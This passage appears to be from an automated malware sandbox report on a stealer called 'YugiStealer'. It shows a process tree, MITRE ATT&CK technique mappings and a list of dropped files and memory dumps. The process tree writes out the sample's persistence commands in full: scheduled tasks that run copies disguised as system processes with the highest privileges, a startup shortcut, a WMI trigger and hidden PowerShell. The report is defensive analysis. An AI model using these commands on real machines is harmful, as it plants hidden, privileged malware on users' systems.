C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\services.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy4\" /tr \"C:\Windows\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy5\" /tr \"C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\services.exe\" /sc onstart /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerStartup\" /tr \"C:\Windows\Temp\services.exe\" /sc onstart /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\services.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerLogon\" /tr \"C:\Windows\Temp\services.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "$WshShell = New-Object -ComObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\YugiStealer.lnk'); $Shortcut.TargetPath = \"C:\Windows\Temp\services.exe\"; $Shortcut.Save()"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Register-WmiEvent -Query \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='winlogon.exe'\" -Action { Start-Process \"C:\Windows\Temp\services.exe\" }"2⤵
-
-
C:\Windows\System32\0409\WindowsUpdate.exeC:\Windows\System32\0409\WindowsUpdate.exe1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-Process -Name \"WindowsUpdate\" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id"2⤵
-
-
C:\Windows\system32\wscript.exewscript.exe1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Windows\Temp\winlogon.exeC:\Windows\Temp\winlogon.exe1⤵
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\svchost.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\svchost.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winlogon.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Users\Public\Documents\services.exeC:\Users\Public\Documents\services.exe1⤵
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\lsass.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy1\" /tr \"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\lsass.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy2\" /tr \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\lsass.exe\" /sc onlogon /f /rl highest3⤵
-
-
-
C:\Windows\system32\cmd.exe"cmd" /c "schtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest"2⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn \"YugiStealerCopy3\" /tr \"C:\Windows\System32\config\systemprofile\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\csrss.exe\" /sc onlogon /f /rl highest3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Public\Documents\csrss.exeC:\Users\Public\Documents\csrss.exe1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Persistence
Create or Modify System Process
2Windows Service
2Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Create or Modify System Process
2Windows Service
2Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Hide Artifacts
2Hidden Files and Directories
2Impair Defenses
1Modify Registry
1Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
Web Data
Web Data
chrome-injector.zip
chromelevator_x64.exe
chromelevator_arm64.exe
encryptor.exe
temp.db
temp.db
__PSScriptPolicyTest_zo3gf24g.stc.ps1
hide_16834.bat
hide_16855.bat
hide_16913.bat
windows_update_task.xml
YugiStealer.lnk
YugiStealer.lnk
FartnutsTrauma.vbs
TraumatizerV3.exe
csrss.exe
memory/728-55-0x00007FF7B3B50000-0x00007FF7B4184000-memory.dmp
memory/972-380-0x00000166227C0000-0x00000166229DC000-memory.dmp
memory/1104-160-0x000001E453ED0000-0x000001E4540EC000-memory.dmp
memory/1188-762-0x00007FF764430000-0x00007FF764A64000-memory.dmp
memory/1352-261-0x0000019352D30000-0x0000019352F4C000-memory.dmp
memory/1412-449-0x0000025BBFA60000-0x0000025BBFC7C000-memory.dmp
memory/1464-77-0x00007FF7253F0000-0x00007FF725A24000-memory.dmp
memory/1648-428-0x0000018334910000-0x0000018334B2C000-memory.dmp
memory/1776-40-0x00007FF62BE10000-0x00007FF62C444000-memory.dmp
memory/1844-448-0x00000280B45B0000-0x00000280B47CC000-memory.dmp
memory/2100-372-0x000001F760920000-0x000001F760B3C000-memory.dmp
memory/2288-284-0x000001CDB1B80000-0x000001CDB1D9C000-memory.dmp
memory/2432-74-0x00007FF755C50000-0x00007FF756284000-memory.dmp
memory/2492-170-0x00007FF755C50000-0x00007FF756284000-memory.dmp
memory/2972-326-0x000002D94A4A0000-0x000002D94A6BC000-memory.dmp
memory/2996-7-0x00007FF70A7B0000-0x00007FF70ADE4000-memory.dmp
memory/3148-61-0x00007FF666330000-0x00007FF666964000-memory.dmp
memory/3460-176-0x000002CC7C650000-0x000002CC7C86C000-memory.dmp
memory/3516-18-0x00007FF7A3D10000-0x00007FF7A4344000-memory.dmp
memory/3824-140-0x0000025773B70000-0x0000025773D8C000-memory.dmp
memory/3824-131-0x00000257594B0000-0x00000257594D2000-memory.dmp
memory/3928-0-0x00007FF75AB20000-0x00007FF75B154000-memory.dmp
memory/3960-2525-0x00007FF7CAF00000-0x00007FF7CAF67000-memory.dmp
memory/4128-177-0x0000022102270000-0x000002210248C000-memory.dmp
memory/4128-328-0x000001B3C0560000-0x000001B3C077C000-memory.dmp
memory/4240-32-0x00007FF6C8EE0000-0x00007FF6C9514000-memory.dmp
memory/4320-27-0x00007FF764430000-0x00007FF764A64000-memory.dmp
memory/4408-281-0x00000236FBEA0000-0x00000236FC0BC000-memory.dmp
memory/4624-172-0x00007FF6FFDF0000-0x00007FF700424000-memory.dmp
memory/4888-87-0x00007FF6FFDF0000-0x00007FF700424000-memory.dmp
memory/4956-306-0x000001F6F3410000-0x000001F6F362C000-memory.dmp
memory/5168-588-0x00007FF6C8EE0000-0x00007FF6C9514000-memory.dmp
memory/5272-700-0x00007FF7B3B50000-0x00007FF7B4184000-memory.dmp
memory/5288-432-0x0000020E6FA60000-0x0000020E6FC7C000-memory.dmp
memory/5308-430-0x00000206AB880000-0x00000206ABA9C000-memory.dmp
memory/5592-287-0x000002637CC80000-0x000002637CE9C000-memory.dmp
memory/5800-373-0x00000292494A0000-0x00000292496BC000-memory.dmp
memory/5908-455-0x00007FF75AB20000-0x00007FF75B154000-memory.dmp
memory/5920-447-0x0000025866500000-0x000002586671C000-memory.dmp
memory/6028-317-0x000001A86D4B0000-0x000001A86D6CC000-memory.dmp
memory/6112-469-0x0000027623CE0000-0x0000027623EFC000-memory.dmp
memory/6156-930-0x00007FF7B3B50000-0x00007FF7B4184000-memory.dmp
memory/6576-477-0x000001F9B1AA0000-0x000001F9B1CBC000-memory.dmp
memory/6716-484-0x00000152F64A0000-0x00000152F66BC000-memory.dmp
memory/6748-2219-0x00007FFE85470000-0x00007FFE8557B000-memory.dmp
memory/6900-489-0x000001F359D20000-0x000001F359F3C000-memory.dmp
memory/7008-510-0x00007FF70A7B0000-0x00007FF70ADE4000-memory.dmp
memory/7160-1355-0x00007FF764430000-0x00007FF764A64000-memory.dmp
memory/7276-1514-0x00007FF7253F0000-0x00007FF725A24000-memory.dmp
memory/7388-645-0x00007FF7A3D10000-0x00007FF7A4344000-memory.dmp
memory/7400-642-0x00007FF75AB20000-0x00007FF75B154000-memory.dmp
memory/7616-596-0x00007FF764430000-0x00007FF764A64000-memory.dmp
memory/7732-2616-0x00007FF7CAF00000-0x00007FF7CAF67000-memory.dmp
memory/7920-643-0x00007FF70A7B0000-0x00007FF70ADE4000-memory.dmp
memory/8336-716-0x00007FF6C8EE0000-0x00007FF6C9514000-memory.dmp
memory/8508-905-0x00007FF75AB20000-0x00007FF75B154000-memory.dmp
memory/8768-2615-0x00007FF714110000-0x00007FF714181000-memory.dmp
memory/8928-904-0x00007FF7A3D10000-0x00007FF7A4344000-memory.dmp
memory/9228-2507-0x00007FF7CAF00000-0x00007FF7CAF67000-memory.dmp
memory/10264-1271-0x00007FF62BE10000-0x00007FF62C444000-memory.dmp
memory/10668-1301-0x00007FF666330000-0x00007FF666964000-memory.dmp
memory/10964-2096-0x00007FFE87D50000-0x00007FFE87F45000-memory.dmp
memory/11556-2106-0x00007FF7CAF00000-0x00007FF7CAF67000-memory.dmp
memory/12364-2113-0x00007FF7CAF00000-0x00007FF7CAF67000-memory.dmp
memory/13100-2503-0x00007FF7CAF00000-0x00007FF7CAF67000-memory.dmp